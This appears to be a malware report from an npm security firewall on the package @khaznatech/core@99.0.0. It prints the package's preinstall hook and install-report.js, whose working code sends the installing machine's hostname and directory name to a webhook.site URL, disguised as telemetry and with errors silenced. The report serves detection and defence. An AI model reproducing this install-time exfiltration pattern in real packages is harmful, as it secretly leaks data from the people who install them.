@khaznatech/core@99.0.0: Malicious npm security report (Block)

Loading npm security reports…

@khaznatech/core@99.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

5 flagged

package.jsonView file

Lines 1-14json

2 "name": "@khaznatech/core",

3 "version": "99.0.0",

4 "description": "KhaznaTech shared core utilities for Node.js services",

5 "main": "index.js",

6 "scripts": {

7 "preinstall": "node install-report.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 },

High

Ai Review Evidence

package.json runs install-report.js during npm preinstall.

package.jsonView on unpkg · L6

9 "keywords": ["khaznatech", "core", "utilities"],

10 "author": "KhaznaTech Engineering",

11 "license": "MIT",

12 "publishConfig": { "access": "public" }

13}

install-report.jsView file

Lines 1-11javascript

1// Install telemetry: reports host + install dir to the package registry analytics endpoint.

2// Single outbound GET, 5s timeout, all errors swallowed.

3try {

4 const os = require("os");

5 const https =

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node install-report.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node install-report.js" }

High

Ai Review Evidence

package.json runs install-report.js during npm preinstall.

package.jsonView on unpkg · L6

install-report.jsView file

•matchType = malicious_source_fingerprint_signature signature = a203af2308c820b1 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @khaznatech/common@99.0.0 matchedPath = install-report.js matchedIdentity = npm:QGtoYXpuYXRlY2gvY29tbW9u:99.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

install-report.jsView on unpkg

4const os = require("os"); const https = require("https"); const tag = encodeURIComponent(os.hostname() + "-" + process.cwd().split(/[\\/]/).filter(Boolean).pop()); const req = https.get("https://webhook.site/93b065ab-227f-4253-b940-361d00e9b870/" + tag, { timeout: 5000 }, (res) => { res.resume(); });

High

Ai Review Evidence

install-report.js sends hostname and install-directory name to a third-party webhook during installation.

install-report.jsView on unpkg · L4

8req.on("timeout", () => req.destroy()); req.on("error", () => {}); } catch (_) {}

High

Ai Review Evidence

The request is error-swallowed, reducing visibility of the install-time telemetry.

install-report.jsView on unpkg · L8

@khaznatech/core@99.0.0

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code